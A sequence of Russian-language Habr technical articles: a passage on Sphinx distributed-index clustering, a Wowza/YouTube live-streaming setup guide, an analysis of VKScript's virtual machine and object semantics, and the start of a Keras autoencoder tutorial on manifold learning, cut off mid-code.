binlog_path = ./sphinx-binlog
read_timeout = 5
max_children = 30
max_matches = 1000
seamless_rotate = 1
preopen_indexes = 0
unlink_old = 1
workers = threads
}
```
Для организации поискового кластера в Sphinx есть distributed индексы.
На главной ноде все индексы имеют следующий вид.
```
index distributed_section_1
{
type = distributed
agent = 127.0.0.1:9301:rt_section_1|127.0.0.1:9302:rt_section_1
ha_strategy = nodeads
}
```
К слову есть разница между тем как описывать дочерние ноды, в предыдущем примере они описаны как зеркала, а в следующем они описаны как ноды хранящие две разные части одного индекса. Разница в том что в первом случае запрос select отправляется на одну из нод, а во втором примере select отправляется на все ноды и результат поиска от каждой из нод объединяется.
```
index distributed_section_1
{
type = distributed
agent = 127.0.0.1:9301:rt_section_1
agent = 127.0.0.1:9302:rt_section_1
ha_strategy = nodeads # стратегия распределения запросов между нодами. nodeads - отправляет запросы к не мёртвым нодам
}
```
На дочерних нодах индексы описываются, как самые обычные real time индексы в Sphinx:
```
index rt_section_1
{
type = rt
mlock = 1
morphology = stem_en, stem_ru
min_word_len = 3
min_infix_len = 1
index_exact_words = 1
dict = keywords
path = ./notices_rt_section_1
rt_field = title
rt_field = text
rt_attr_uint = date
rt_attr_uint = active
rt_attr_multi = location
}
```
Всё с выборкой на кластере проблем нет.
```
mysql> select * from rt_section_1;
+---------+------------+--------+----------+
| id | date | active | location |
+---------+------------+--------+----------+
| 185191 | 1398749772 | 1 | 145430 |
| 185234 | 1398749771 | 1 | 145425 |
+---------+------------+--------+----------+
2 rows in set (0.03 sec)
```
Мне уже показалось что задача на этом решена, но не ту-то было. Выборка работает, а что на счёт REPLACE или INSERT запросов?
Как оказалось [тут была засада](http://sphinxsearch.com/bugs/view.php?id=1701) — REPLACE и INSERT по умолчанию работают только на локальных индексах, а я использую распределенный.
Но не беда. Так как sphinx проект с открытым кодом я сделал [свою сборку](https://github.com/Levhav/sphinxsearch) которая позволяет выполнять REPLACE запросы на distributed индексах.
Для её сборки [надо скачать исходники](https://github.com/Levhav/sphinxsearch) и выполнить команду
```
cmake . && make
```
Теперь запустив эту сборку с точно теме же настройками что и ранее запрос выполнится на всех нодах-зеркалах.
```
mysql> REPLACE INTO rt_section_130054 (id, `location`, `title`, `text`, `active`, `date`) VALUES ( 2435558, ( 145411 ) , 'Тестовый заголовок', 'Тестовая запись', 1, '1399529047');
Query OK, 2 rows affected (0.04 sec)
```
Я для проверки использовал два зеркала, и мы видим что затронуто 2 записи, то есть по одной записи на каждой ноде. | https://habr.com/ru/post/222203/ | null | ru | null |
# Трансляция видео с мобильного устройства на YouTube
 Продолжая серию статей о возможностях Intel® INDE Media Pack, в этот раз я расскажу о том, как с помощью нашей библиотеки вы сможете добавить в приложение возможность живой трансляции видео с камеры мобильного устройства на сервис YouTube. Речь пойдет не о коде, но о том, как правильно сконфигурировать все необходимые компоненты. Требуемый же код вы сможете найти в примерах, поставляемых с [Intel INDE Media Pack](https://software.intel.com/en-us/intel-inde).
#### Нам потребуется:
* Пример *Camera Streaming* из [Intel® INDE Media Pack для Android](http://software.intel.com/en-us/intel-inde).
* [Wowza Streaming Engine](http://www.wowza.com/products/streaming-engine/) в качестве промежуточного звена между вашим Android-устройством и YouTube.
#### Установка Wowza Streaming Engine:
* Вы можете использовать Wowza на любой платформе ([Microsoft\* Windows\*, Mac OS X\* and Linux\*/Unix\*](http://www.wowza.com/pricing/installer)).
* Официальное руководство по установке вы найдете [здесь](http://www.wowza.com/forums/content.php?217#installWowza).
#### Настройка Wowza Streaming Engine:
1. Вверху стартовой страницы *Streaming Engine Manager* кликните закладку *Applications*.
2. На панели Applications нажмите *Live*.
3. Далее выберете *Incoming Security* и нажмите кнопку *Edit*.
4. Установите следующие опции, нажмите *Save*
5. Перезапустите приложение.
#### Настройка YouTube live event
1. Войдите на страницу [YouTube Video Manager Live Events](http://www.youtube.com/my_live_events)
2. Кликните *Enable live streaming*, следуйте инструкциям по верификации вашего аккаунта.
3. Нажмите *Create live event*.
4. На странице *Create a new event*, на закладке *Basic info* введите необходимую информацию о вашей трансляции (название, описание, дата и время, местоположение и т.д.).
5. В качестве типа выберите *Custom (more encoding options)*.
6. Перейдите на закладку *Advanced settings* для управления дополнительными опциями (комментарии, запись и т.д.).
7. Нажмите кнопку *Create event*.
8. На закладке *Ingestion Settings*, под *Choose maximum sustained bitrate of your encoder* выберете наиболее подходящую для вашей сети и устройства опцию.
9. Под *Select your encoder* выберете *Other Encoders*. Вы увидите информацию о названии стрима и адресах серверов
Сохраните эту информацию. Она понадобится нам позже.
10. Нажмите кнопку Save changes.
#### Установка Push Publishing AddOn
Начиная с версии *Wowza Streaming Engine 4* дополнительные шаги не требуются. *Push Publishing AddOn* теперь встроен в *Wowza Streaming Engine*.
#### Настройка и проверка Push Publishing AddOn
1. Для доступа на закладку Modules вам понадобятся привилегии администратора:
2. Затем в *Wowza Streaming Engine Manager* выберете необходимое *live* приложение.
3. Кликните закладку *Modules* в настройках приложения.
4. На закладке *Modules* сделайте следующее:
a. Нажмите *Edit*.
b. Добавьте модуль, введя следующие данные:
`Name: ModulePushPublish
Description: ModulePushPublish
Fully Qualified Class Name: com.wowza.wms.pushpublish.module.ModulePushPublish`
c. Нажмите Add, затем *Save* и *Restart*, когда появится соответствующее предложение:
Модуль *ModulePushPublish* слушает входящие стримы, которые будут опубликованы на сервере. *Push Publishing AddOn* нуждается в следующей информации, отформатированной особым образом и хранящейся в файле *[install-dir]/conf/PushPublishMap.txt*. В настоящее время редактирование этого файла непосредственно из *Streaming Engine Manager* невозможно. Вот вся информация, которая нам необходима:
`Profile: rtmp
Host(1): rtmp://a.rtmp.youtube.com
Host(2): rtmp://b.rtmp.youtube.com
Application(1): live2
Application(2): live2?backup=1
StreamName: ilya.aleshkov.hpw0-zadr-d849-4pbj`
5. Используя текстовый редактор, отредактируйте файл *[install-dir]/conf/PushPublishMap.txt*. Вернитесь, если нужно, к странице *Ingestion Settings* в *YouTube Video Manager*, чтобы найти нужные параметры. Обновленный файл *PushPublishMap.txt* должен выглядеть так:
`test={profile:”rtmp”, streamName:”ilya.aleshkov.hpw0-zadr-d849-4pbj”, host:”a.rtmp.youtube.com”, application:”live2”}
test={profile:”rtmp”, streamName:”ilya.aleshkov.hpw0-zadr-d849-4pbj”, host:”b.rtmp.youtube.com”, application:”live2?backup=1”}`
Для совместимости со спецификацией JSON файл *PushPublishMap.txt* теперь поддерживает кавычки ("). Старые файлы без кавычек какое-то время ещё продолжат работать.
6. Сохраните файл *[install-dir]/conf/PushPublishMap.txt*.
7. Перезагрузите *Wowza Streaming Engine*.
#### Проверим всё в действии
1. Запустите пример *“Camera Streaming”*, входящий в состав [Intel INDE Media Pack](http://habrahabr.ru/company/intel/blog/216545/). Обратите внимание на настройки
2. Проверьте настройки *Test Players* приложения *live*
3. Перейдите на страницу *YouTube Live Control Room* вашего event’а и кликните кнопку *Preview*. Когда статус станет *GOOD*, найдите *Preview* ниже на странице и нажмите *Play*. Если вы видите видео с вашего устройства, значит всё работает правильно.
4. Когда вы готовы опубликовать ваш стрим, перейдите на страницу *YouTube Live Control Room* вашего event’а и нажмите кнопку *Start Streaming*. Если вы видите ваш стрим в тестовом плеере *Public View*, у вас всё получилось! | https://habr.com/ru/post/227237/ | null | ru | null |
# Анализ языка VKScript: JavaScript, ты ли это?
TL;DR
=====
---
VKScript — это **не** JavaScript. Семантика этого языка кардинально отличается от семантики JavaScript. См. [заключение](#summary).
Что такое VKScript?
===================
---
**VKScript** — скриптовый язык программирования, похожий на JavaScript, который используется в методе `execute` API ВКонтакте, который дает клиентам возможность загружать ровно ту информацию, которая им нужна. По сути, VKScript — это аналог GraphQL, используемого в Facebook для тех же целей.
Сравнение GraphQL и VKScript:
| | GraphQL | VKScript |
| --- | --- | --- |
| Реализации | Множество open-source реализаций на разных языках программирования | Единственная реализация в рамках API ВКонтакте |
| Основан на | Абсолютно новый язык | JavaScript |
| Возможности | Запрос данных, ограниченная фильтрация; аргументы запроса не могут использовать результаты предыдущих запросов | Любая пост-обработка данных на усмотрение клиента; запросы к API представлены в виде методов и могут использовать любые данные из предыдущих запросов |
Описание VKScript со [страницы метода в документации VK API](https://vk.com/dev/execute) (единственная официальная документация по языку):
>
>
> | | |
> | --- | --- |
> | code | код алгоритма в **VKScript** — формате, похожем на **JavaSсript** или **ActionScript** *(предполагается совместимость с **ECMAScript**)*. Алгоритм должен завершаться командой **return %выражение%**. Операторы должны быть разделены точкой с запятой.
> строка |
>
>
>
> Поддерживаются:
>
>
>
> * арифметические операции
> * логические операции
> * создание массивов и списков ([X,Y])
> * **parseInt** и **parseDouble**
> * конкатенация (+)
> * конструкция **if**
> * фильтр массива по параметру (@.)
> * вызовы методов **API**, параметр **length**
> * циклы, используя оператор **while**
> * методы Javascript: **slice**, **push**, **pop**, **shift**, **unshift**, **splice**, **substr**, **split**
> * оператор **delete**
> * присваивания элементам маcсива, например: row.user.action = «test»;
> * поиск в массиве или строке — **indexOf**, например: «123».indexOf(2) = 1, [1, 2, 3].indexOf(3) = 2. Возвращает -1, если элемент не найден.
>
>
>
> В данный момент не поддерживается создание функций.
>
>
>
>
В приведенной документации указано, что «планируется совместимость с ECMAScript». Но так ли это? Попробуем разобраться, как этот язык работает изнутри.
Содержание
==========
---
1. [Виртуальная машина VKScript](#vm)
2. [Семантика объектов VKScript](#semantics)
3. [Заключение](#summary)
Виртуальная машина VKScript
===========================
---
Как вообще можно анализировать программу при отсутствии локальной копии? Правильно — отправлять запросы к публичному endpoint'у и анализировать ответы. Попробуем, например, выполнить такой код:
```
while(1);
```
Мы получаем ошибку `Runtime error occurred during code invocation: Too many operations`. Это говорит о том, что в реализации языка присутствует лимит на количество произведенных действий. Попробуем установить точное значение лимита:
```
var i = 0;
while(i < 1000)
i = i + 1;
```
* `Runtime error occurred during code invocation: Too many operations`.
```
var i = 0;
while(i < 999)
i = i + 1;
```
* `{"response": null}` — код успешно выполнился.
Таким образом, лимит на количество операций — порядка 1000 «холостых» циклов. Но, в то же время, понятно, что такой цикл, скорее всего, не является «унитарной» операцией. Попробуем найти операцию, которая не разделяется компилятором на несколько более мелких.
Самым очевидным кандидатом на роль такой операции является так называемый empty statement (`;`). Однако после добавления к коду с `i < 999` 50 символов `;`, превышения лимита не происходит. Это означает, что либо empty statement выбрасывается компилятором и не тратит операции, либо одна итерация цикла занимает больше 50 операций (что, скорее всего, не так).
Следующее, что приходит в голову после `;` — вычисление какого-нибудь простого выражения (например, так: `1;`). Попробуем добавить несколько таких выражений в наш код:
```
var i = 0;
while(i < 999)
i = i + 1;
1; // так еще работает
1; // при добавлении этой строки получаем ошибку "Too many operations"
```
Таким образом, 2 операции `1;` тратят больше операций, чем 50 операция `;`. Это подтверждает гипотезу о том, что empty statement не тратит инструкций.
Попробуем уменьшать количество итераций цикла и добавлять дополнительные `1;`. Несложно заметить, что на каждую итерацию приходится 5 дополнительных `1;`, следовательно, одна итерация цикла тратит в 5 раз больше операций, чем одна операция `1;`.
Но нет ли еще более простой операции? Например, добавление унарного оператора `~` не требует вычисления дополнительных выражений, а сама операция выполняется на процессоре. Логично предположить, что добавление в выражение этой операции увеличивает общее количество операций на 1.
Добавим в наш код этот оператор:
```
var i = 0;
while(i < 999)
i = i + 1;
~1;
```
И да, один такой оператор мы добавить можем, а еще одно выражение `1;` — уже нет. Следовательно, `1;` действительно не является унитарным оператором.
Аналогично оператору `1;`, будем уменьшать количество итераций цикла и добавлять операторы `~`. Одна итерация оказалась эквивалентна 10 унитарным операциям `~`, следовательно, выражение `1;` тратит 2 операции.
Заметим, что лимит составляет примерно 1000 итераций, то есть примерно 10000 единичных операций. Будем считать, что лимит составляет точно 10000 операций.
Измерение количества операций в коде
------------------------------------
---
Заметим, что теперь мы можем измерять количество операций в любом коде. Для этого нужно добавить этот код после цикла и добавлять/удалять итерации, операторы `~` или всю последнюю строку целиком, пока ошибка `Too many operations` не исчезнет.
Некоторые результаты измерений:
| Код | Количество операций |
| --- | --- |
| `1;` | 2 |
| `~1;` | 3 |
| `1+1;` | 4 |
| `1+1+1;` | 6 |
| `(true?1:1);` | 5 |
| `(false?1:1);` | 4 |
| `if(0)1;` | 2 |
| `if(1)1;` | 4 |
| `if(0)1;else 1;` | 4 |
| `if(1)1;else 1;` | 5 |
| `while(0);` | 2 |
| `i=1;` | 3 |
| `i=i+1;` | 5 |
| `var j = 1;` | 1 |
| `var j = 0;while(j < 1)j=j+1;` | 15 |
Определение типа виртуальной машины
-----------------------------------
---
Для начала нужно понять, по какому принципу работает интерпретатор VKScript. Есть два более-менее правдоподобных варианта:
* Интерпретатор рекурсивно обходит синтаксическое дерево и выполняет операцию в каждом узле.
* Компилятор переводит синтаксическое дерево в последовательность инструкций, которые выполняет интерпретатор.
Несложно понять, что в VKScript используется второй вариант. Рассмотрим выражения `(true?1:1);` (5 операций) и `(false?1:1);` (4 операции). В случае с последовательным выполнением инструкций дополнительная операция объясняется переходом, который «обходит» неверный вариант, а в случае с рекурсивным обходом AST оба варианта для интерпретатора равноценны. Аналогичный эффект наблюдается в if/else с разным условием.
Также стоит обратить внимание на пару `i = 1;` (3 операции) и `var j = 1;` (1 операция). Создание новой переменной обходится всего в 1 операцию, а присвоение в существующую — в 3? То, что создание переменной обходится в 1 операцию (и то, это, скорее всего, операция загрузки константы), говорит о двух вещах:
* При создании новой переменной не происходит явного выделения памяти под переменную.
* При создании новой переменной не происходит загрузки значения в ячейку памяти. Это означает, что место под новую переменную выделяется там, где было вычислено значение выражения, и после этого эта память считается выделенной. Это говорит об использовании стековой машины.
Использованием стека также объясняется то, что выражение `var j = 1;` выполняется быстрее, чем выражение `1;`: последнее выражение тратит дополнительную инструкцию на то, чтобы убрать со стека вычисленное значение.
Определение точного значения лимита
-----------------------------------
Заметим, что цикл `var j=0;while(j < 1)j=j+1;` (15 операций) — это уменьшенная копия цикла, который использовался для измерений:
| Код | Количество операций |
| --- | --- |
|
```
var i = 0;
while(i < 1)
i = i + 1;
```
| 15 |
|
```
var i = 0;
while(i < 999)
i = i + 1;
```
| 15 + 998 \* 10 = 9995 |
|
```
var i = 0;
while(i < 999)
i = i + 1;
~1;
```
(лимит) | 9998 |
Стоп, что? Лимит составляет 9998 инструкций? Мы явно что-то упускаем...
Заметим, что код `return 1;` выполняется, согласно измерениям, за 0 инструкций. Это легко объясняется: компилятор добавляет в конце кода неявный `return null;`, и при добавлении своего return'а он не выполняется. Считая, что лимит равен 10000, делаем вывод, что операция `return null;` занимает 2 инструкции (вероятно, это что-то вроде `push null; return;`).
Вложенные блоки кода
--------------------
---
Проведем еще несколько измерений:
| Код | Количество операций |
| --- | --- |
| `{};` | 0 |
| `{var j = 1;};` | 2 |
| `{var j = 1, k = 2;};` | 3 |
| `{var j = 1; var k = 2;};` | 3 |
| `var j = 1; var j = 1;` | 4 |
| `{var j = 1;}; var j = 1;` | 3 |
Обратим внимание на следующие факты:
* При добавлении переменной в блок тратится одна дополнительная операция.
* При «объявлении переменной заново» второе объявление отрабатывает как обычное присваивание.
* Но при этом переменная внутри блока снаружи не видна (см. последний пример).
Несложно понять, что лишняя операция тратится на удаление со стека локальных переменных, объявленных в блоке. Соответственно, когда локальных переменных нет, удалять ничего не нужно.
Объекты, методы, вызовы API
===========================
---
| Код | Количество операций |
| --- | --- |
| `"";` | 2 |
| `"abcdef";` | 2 |
| `{};` | 2 |
| `[];` | 2 |
| `[1, 2, 3];` | 5 |
| `{a: 1, b: 2, c: 3};` | 5 |
| `API.users.isAppUser(1);` | 3 |
| `"".substr(0, 0);` | 6 |
| `var j={};j.x=1;` | 6 |
| `var j={x:1};delete j.x;` | 6 |
Проанализируем полученные результаты. Можно заметить, что создание строки и пустого массива/объекта занимает 2 операции, так же как и загрузка числа. При создании непустого массива или объекта добавляются операции, потраченные на загрузку элементов массива/объекта. Это говорит о том, что непосредственно создание объекта происходит за одну операцию. При этом на загрузку названий свойств время не тратится, следовательно, их загрузка является частью операции создания объекта.
С вызовом метода API все тоже весьма банально — загрузка единицы, собственно вызов метода, `pop` результата (можно заметить, что название метода обрабатывается как единое целое, а не как взятие свойств). А вот последние три примера выглядят интересно.
* `"".substr(0, 0);` — загрузка строки, загрузка нуля, загрузка нуля, `pop` результата. На вызов метода почему-то приходится 2 инструкции (почему — см. далее).
* `var j={};j.x=1;` — создание объекта, загрузка объекта, загрузка единицы, `pop` единицы после присваивания. Опять-таки, на присваивание приходится 2 инструкции.
* `var j={x:1};delete j.x;` — загрузка единицы, создание объекта, загрузка объекта, удаление. На операцию удаления приходится 3 инструкции.
Семантика объектов VKScript
===========================
Числа
-----
---
Вернемся к исходному вопросу: VKScript — это подмножество JavaScript или другой язык? Проведем простой тест:
```
return 1000000000 + 2000000000;
```
```
{"response": -1294967296};
```
Как мы видим, целочисленное сложение приводит к переполнению, несмотря на то, что в JavaScript нет целых чисел как таковых. Также несложно убедиться, что деление на 0 приводит к ошибке, а не возвращает `Infinity`.
Объекты
-------
---
```
return {};
```
```
{"response": []}
```
Стоп, что? Мы возвращаем *объект* и получаем *массив*? Да, так и есть. В языке VKScript массивы и объекты представлены одним типом, в частности, пустой объект и пустой массив это одно и тоже. При этом свойство `length` у объекта работает и возвращает количество свойств.
Интересно посмотреть, как поведут себя методы списка, если вызвать их на объекте?
```
return {a:1, b:2, c:3}.pop();
```
```
3
```
Метод `pop` возвращает последнее объявленное свойство, что, впрочем, логично. Поменяем порядок свойств:
```
return {b:1, c:2, a:3}.pop();
```
```
3
```
Видимо, объекты в VKScript запоминают порядок присвоения свойств. Попробуем использовать числовые свойства:
```
return {'2':1,'1':2,'0':3}.pop();
```
```
3
```
Теперь посмотрим, как работает push:
```
var a = {'2':'a','1':'b','x':'c'};
a.push('d');
return a;
```
```
{"1": "b", "2": "a", "3": "d", "x": "c"};
```
Как видим, метод push сортирует численные ключи и добавляет новое значение после последнего численного ключа. «Дыры» при этом не заполняются.
Теперь попробуем объединить два этих метода:
```
var a = {'2':'a','1':'b','x':'c'};
a.push(a.pop());
return a;
```
```
{"1": "b", "2": "a", "3": "c", "x": "c"};
```
Как мы видим, элемент не удалился из массива. Однако, если мы разнесем `push` и `pop` в разные строки, баг пропадет. We need to go deeper!
Хранение объектов
-----------------
---
```
var x = {};
var y = x;
x.y = 'z';
return y;
```
```
{"response": []}
```
Как выяснилось, объекты в VKScript хранятся по значению, в отличие от JavaScript. Теперь понятно странное поведение строки `a.push(a.pop());` — видимо, старое значение массива сохранилось на стеке, откуда потом и было взято.
Однако как тогда данные сохраняются в объект, если метод его изменяет? Видимо, «лишняя» инструкция при вызове метода предназначена именно для записи изменений обратно в объект.
Методы массивов
---------------
---
| Метод | Действие |
| --- | --- |
| `push` | * отсортировать числовые ключи по значению
* взять максимальный числовой ключ, прибавить единицу
* записать аргумент в массив
* добавить в конец массива нечисловые ключи
|
| `pop` | Убрать из массива последний элемент (не обязательно с числовым ключом) и вернуть. |
| остальные | * отсортировать числовые ключи по значению, убрать «дыры» в массиве
* выполнить соответствующую операцию JavaScript
* добавить в конец массива нечисловые ключи
При использовании метода slice изменения не сохраняются |
Заключение
==========
---
VKScript — это не JavaScript. В отличие от JavaScript, объекты в нем хранятся по значению, а не по ссылке, и обладают совершенно другой семантикой. Однако при использовании VKScript для цели, для которой он предназначен, разница незаметна.
P.S. Семантика операторов
=========================
---
В комментариях упомянули объединение объектов через `+`. В связи с этим решил добавить информацию о работе операторов.
| Оператор | Действия |
| --- | --- |
| + | * Если оба аргумента — объекты, создать копию первого объекта и добавить в нее ключи из второго (с заменой).
* Если оба аргумента — числа, сложить как числа.
* В противном случае, оба операнда приводятся к строке и складываются как строки.
|
| Другие арифметические операторы | Оба операнда приводятся к числу, и выполняется соответствующая операция. Для битовых операций операнды дополнительно приводятся к `int`. |
| Операторы сравнения | Если сравниваются две строки или два числа, они сравниваются напрямую. Если сравниваются строка и число, и строка является корректной записью числа, строка приводится к числу. В противном случае возвращается ошибка `Comparing values of different or unsupported types`. |
| Приведение к строке | Числа и строки приводятся как в JavaScript. Объекты приводятся как перечисление значений через запятую, в порядке следования ключей. `false` и `null` приводятся как `""`, `true` приводится как `"1"`. |
| Приведение к числу | Если аргумент — строка, являющаяся корректной записью числа, возвращается число. В противном случае возвращается ошибка `Numeric arguments expected`. |
При операциях с числами (кроме битовых), если операнды — `int` и `double`, `int` приводится к `double`. Если оба операнда — `int`, производится операция над знаковыми 32-битными целыми числами (с переполнением). | https://habr.com/ru/post/464099/ | null | ru | null |
# Автоэнкодеры в Keras, Часть 2: Manifold learning и скрытые (latent) переменные
### Содержание
* Часть 1: [Введение](https://habrahabr.ru/post/331382/)
* **Часть 2: *Manifold learning* и скрытые (*latent*) переменные**
* Часть 3: [Вариационные автоэнкодеры (*VAE*)](https://habrahabr.ru/post/331552/)
* Часть 4: [*Conditional VAE*](https://habrahabr.ru/post/331664/)
* Часть 5: [*GAN* (Generative Adversarial Networks) и tensorflow](https://habrahabr.ru/post/332000/)
* Часть 6: [*VAE* + *GAN*](https://habrahabr.ru/post/332074/)
Для того, чтобы лучше понимать, как работают автоэнкодеры, а также чтобы в последствии генерировать из кодов что-то новое, стоит разобраться в том, что такое коды и как их можно интерпретировать.
Manifold learning
-----------------
Изображения цифр *mnist* (на которых примеры в прошлой части) — это элементы -мерного пространства, как и вообще любое монохромное изображение 28 на 28.
Однако среди всех изображений, изображения цифр занимают лишь ничтожную часть, абсолютное же большинство изображений — это просто шум.
С другой стороны, если взять произвольное изображение цифры, то и все изображения из некоторой окрестности также можно считать цифрой.
А если взять два произвольных изображения цифры, то в изначальном 784-мерном пространстве скорее всего, можно найти непрерывную кривую, все точки вдоль которой можно также считать цифрами (хотя бы для изображений цифр одного лейбла), а вкупе с предыдущим замечанием, то и все точки некоторой области вдоль этой кривой.
Таким образом, в пространстве всех изображений есть некоторое подпространство меньшей размерности в области вокруг которого сосредоточились изображения цифр. То есть, если наша генеральная совокупность — это все изображения цифр, которые могут быть нарисованы в принципе, то плотность вероятности встретить такую цифру в пределах области сильно выше, чем вне.
Автоэнкодеры с размерностью кода k ищут k-мерное многообразие в пространстве объектов, которое наиболее полно передает все вариации в выборке. А сам код задает параметризацию этого многообразия. При этом энкодер сопоставляет объекту его параметр на многообразии, а декодер параметру сопоставляет точку в пространстве объектов.
Чем больше размерность кодов, тем больше вариаций в данных автоэнкодер сможет передать. Если размерность кодов слишком мала, автоэнкодер запомнит нечто среднее по недостающим вариациям в заданной метрике (это одна из причин, почему *mnist* цифры все более размытые при снижении размерности кода в автоэнкодерах).
Для того, чтобы лучше понять, что такое ***manifold learning***, создадим простой двумерный датасет в виде кривой плюс шум и будем обучать на нем автоэнкодер.
**Код и визуализация**
```
# Импорт необходимых библиотек
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
import seaborn as sns
# Создание датасета
x1 = np.linspace(-2.2, 2.2, 1000)
fx = np.sin(x1)
dots = np.vstack([x1, fx]).T
noise = 0.06 * np.random.randn(*dots.shape)
dots += noise
# Цветные точки для отдельной визуализации позже
from itertools import cycle
size = 25
colors = ["r", "g", "c", "y", "m"]
idxs = range(0, x1.shape[0], x1.shape[0]//size)
vx1 = x1[idxs]
vdots = dots[idxs]
```
```
# Визуализация
plt.figure(figsize=(12, 10))
plt.xlim([-2.5, 2.5])
plt.scatter(dots[:, 0], dots[:, 1])
plt.plot(x1, fx, color="red", linewidth=4)
plt.grid(False)
```
На картинке выше: синие точки — данные, а красная кривая – многообразие, определяющее наши данные.
### Линейный сжимающий автоэнкодер
Самый простой автоэнкодер — это двухслойный сжимающий автоэнкодер с линейными функциями активации (больше слоев не имеет смысла при линейной активации).
Такой автоэнкодер ищет аффинное (линейное со сдвигом) подпространство в пространстве объектов, которое описывает наибольшую вариацию в объектах, тоже самое делает и ***PCA*** (метод главных компонент) и оба они находят одно и тоже подпространство
```
from keras.layers import Input, Dense
from keras.models import Model
from keras.optimizers import Adam
def linear_ae():
input_dots = Input((2,))
code = Dense(1, activation='linear')(input_dots)
out = Dense(2, activation='linear')(code)
ae = Model(input_dots, out)
return ae
ae = linear_ae()
ae.compile(Adam(0.01), 'mse')
ae.fit(dots, dots, epochs=15, batch_size=30, verbose=0)
```
```
# Применение линейного автоэнкодера
pdots = ae.predict(dots, batch_size=30)
vpdots = pdots[idxs]
# Применение PCA
from sklearn.decomposition import PCA
pca = PCA(1)
pdots_pca = pca.inverse_transform(pca.fit_transform(dots))
```
**Визуализация**
```
# Визуализация
plt.figure(figsize=(12, 10))
plt.xlim([-2.5, 2.5])
plt.scatter(dots[:, 0], dots[:, 1], zorder=1)
plt.plot(x1, fx, color="red", linewidth=4, zorder=10)
plt.plot(pdots[:,0], pdots[:,1], color='white', linewidth=12, zorder=3)
plt.plot(pdots_pca[:,0], pdots_pca[:,1], color='orange', linewidth=4, zorder=4)
plt.scatter(vpdots[:,0], vpdots[:,1], color=colors*5, marker='*', s=150, zorder=5)
plt.scatter(vdots[:,0], vdots[:,1], color=colors*5, s=150, zorder=6)
plt.grid(False)
```
На картинке выше:
* белая линия – многообразие, в которое переходят синие точки данных после автоэнкодера, то есть попытка автоэнкодера построить многообразие, определяющее больше всего вариаций в данных,
* оранжевая линия – многообразие, в которое переходят синие точки данных после PCA,
* разноцветные кружки — точки, которые переходят в звездочки соответствующего цвета после автоэнкодера,
* разноцветные звездочки – соответственно, образы кружков после автоэнкодера.
Автоэнкодер, ищущий линейные зависимости, может быть не так полезен, как автоэнкодер, который может находить произвольные зависимости в данных. Полезно было бы, если бы и энкодер, и декодер могли аппроксимизировать произвольные функции. Если добавить и в энкодер, и в декодер еще хотя бы по одному слою достаточного размера и нелинейную функцию активации между ними, то они смогут находить произвольные зависимости.
### Глубокий автоэнкодер
У глубокого автоэнкодера больше число слоев и самое главное — нелинейная функция активации между ними (в нашем случае *ELU* — Exponential Linear Unit).
```
def deep_ae():
input_dots = Input((2,))
x = Dense(64, activation='elu')(input_dots)
x = Dense(64, activation='elu')(x)
code = Dense(1, activation='linear')(x)
x = Dense(64, activation='elu')(code)
x = Dense(64, activation='elu')(x)
out = Dense(2, activation='linear')(x)
ae = Model(input_dots, out)
return ae
dae = deep_ae()
dae.compile(Adam(0.003), 'mse')
dae.fit(dots, dots, epochs=200, batch_size=30, verbose=0)
pdots_d = dae.predict(dots, batch_size=30)
vpdots_d = pdots_d[idxs]
```
**Визуализация**
```
# Визуализация
plt.figure(figsize=(12, 10))
plt.xlim([-2.5, 2.5])
plt.scatter(dots[:, 0], dots[:, 1], zorder=1)
plt.plot(x1, fx, color="red", linewidth=4, zorder=10)
plt.plot(pdots_d[:,0], pdots_d[:,1], color='white', linewidth=12, zorder=3)
plt.plot(pdots_pca[:,0], pdots_pca[:,1], color='orange', linewidth=4, zorder=4)
plt.scatter(vpdots_d[:,0], vpdots_d[:,1], color=colors*5, marker='*', s=150, zorder=5)
plt.scatter(vdots[:,0], vdots[:,1], color=colors*5, s=150, zorder=6)
plt.grid(False)
```
У такого автоэнкодера практически идеально получилось построить определяющее многообразие: белая кривая почти совпадает с красной.
Глубокий автоэнкодер теоретически сможет найти многообразие произвольной сложности, например, такое, около которого лежат цифры в 784-мерном пространстве.
Если взять два объекта и посмотреть на объекты, лежащие на произвольной кривой между ними, то скорее всего промежуточные объекты не будут принадлежать генеральной совокупности, т. к. многообразие на котором лежит генеральная совокупность может быть сильно искривленным и малоразмерным.
Вернемся к датасету рукописных цифр из предыдущей части.
Сначала двигаемся по прямой в пространстве цифр от одной 8-ки к другой:
**Код**
```
from keras.layers import Conv2D, MaxPooling2D, UpSampling2D
from keras.datasets import mnist
(x_train, y_train), (x_test, y_test) = mnist.load_data()
x_train = x_train.astype('float32') / 255.
x_test = x_test .astype('float32') / 255.
x_train = np.reshape(x_train, (len(x_train), 28, 28, 1))
x_test = np.reshape(x_test, (len(x_test), 28, 28, 1))
# Сверточный автоэнкодер
def create_deep_conv_ae():
input_img = Input(shape=(28, 28, 1))
x = Conv2D(128, (7, 7), activation='relu', padding='same')(input_img)
x = MaxPooling2D((2, 2), padding='same')(x)
x = Conv2D(32, (2, 2), activation='relu', padding='same')(x)
x = MaxPooling2D((2, 2), padding='same')(x)
encoded = Conv2D(1, (7, 7), activation='relu', padding='same')(x)
# На этом моменте представление (7, 7, 1) т.е. 49-размерное
input_encoded = Input(shape=(7, 7, 1))
x = Conv2D(32, (7, 7), activation='relu', padding='same')(input_encoded)
x = UpSampling2D((2, 2))(x)
x = Conv2D(128, (2, 2), activation='relu', padding='same')(x)
x = UpSampling2D((2, 2))(x)
decoded = Conv2D(1, (7, 7), activation='sigmoid', padding='same')(x)
# Модели
encoder = Model(input_img, encoded, name="encoder")
decoder = Model(input_encoded, decoded, name="decoder")
autoencoder = Model(input_img, decoder(encoder(input_img)), name="autoencoder")
return encoder, decoder, autoencoder
c_encoder, c_decoder, c_autoencoder = create_deep_conv_ae()
c_autoencoder.compile(optimizer='adam', loss='binary_crossentropy')
c_autoencoder.fit(x_train, x_train,
epochs=50,
batch_size=256,
shuffle=True,
validation_data=(x_test, x_test))
def plot_digits(*args):
args = [x.squeeze() for x in args]
n = min([x.shape[0] for x in args])
plt.figure(figsize=(2*n, 2*len(args)))
for j in range(n):
for i in range(len(args)):
ax = plt.subplot(len(args), n, i*n + j + 1)
plt.imshow(args[i][j])
plt.gray()
ax.get_xaxis().set_visible(False)
ax.get_yaxis().set_visible(False)
plt.show()
# Гомотопия по прямой между объектами или между кодами
def plot_homotopy(frm, to, n=10, decoder=None):
z = np.zeros(([n] + list(frm.shape)))
for i, t in enumerate(np.linspace(0., 1., n)):
z[i] = frm * (1-t) + to * t
if decoder:
plot_digits(decoder.predict(z, batch_size=n))
else:
plot_digits(z)
```
```
# Гомотопия между первыми двумя восьмерками
